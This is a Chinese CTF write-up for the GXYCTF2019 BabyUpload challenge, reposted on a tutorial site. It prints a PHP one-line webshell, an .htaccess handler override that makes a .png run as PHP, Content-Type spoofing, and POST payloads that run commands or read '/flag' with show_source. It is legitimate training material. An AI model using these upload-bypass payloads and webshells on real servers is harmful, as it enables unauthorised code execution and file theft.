C/C++教程

[GXYCTF2019]BabyUpload

本文主要是介绍[GXYCTF2019]BabyUpload,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

CTF小白试图写一些细到极致的wp来给健忘的自己看_(:з」∠)_

看到上传文件就刨出了一句话木马:

<script language="php">
eval($_POST['a']);
</script>

顺便绕过了<?过滤,歪打正着了属于是

然后发现文件后缀名还过滤了ph,改成png啥的都ok

直接上传显示文件类型太露骨,在Burp Suite里面修改Content-Type: image/jpeg,显示成功上传,然而打开对应目录只有一张不能显示的图片,蚁剑也连不上

看报错信息发现是apache服务器,从大佬的wp得知了原来有上传漏洞= =

见:利用.htaccess文件攻击上传Shell

于是先上传.htaccess文件,内容:

<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

注意FilesMatch后面跟的是稍后要上传的一句话木马文件名称/后缀名!!!

记得修改Content-Type: image/jpeg,不然上传不了

然后上传1.png,内容:

GIF
<script language="php">
eval($_POST['a']);
</script>

不过其实这道题没有检验文件头= =

蚁剑连接返回的.../upload/..../1.png即可在根目录下找到flag

另外还学了一种,一句话木马采用:

GIF
<script language="php">
assert($_POST['a']);
</script>

这种蚁剑连不上,但是可以用hackbar的post方法

a=system("cat flag");

结果报错,phpinfo()发现禁用了系统函数

然后学到了show_source()函数的用法!神奇!

见:PHP中的show_source()函数

于是:

a=show_source('/flag',false);

得到flag

 

这篇关于[GXYCTF2019]BabyUpload的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!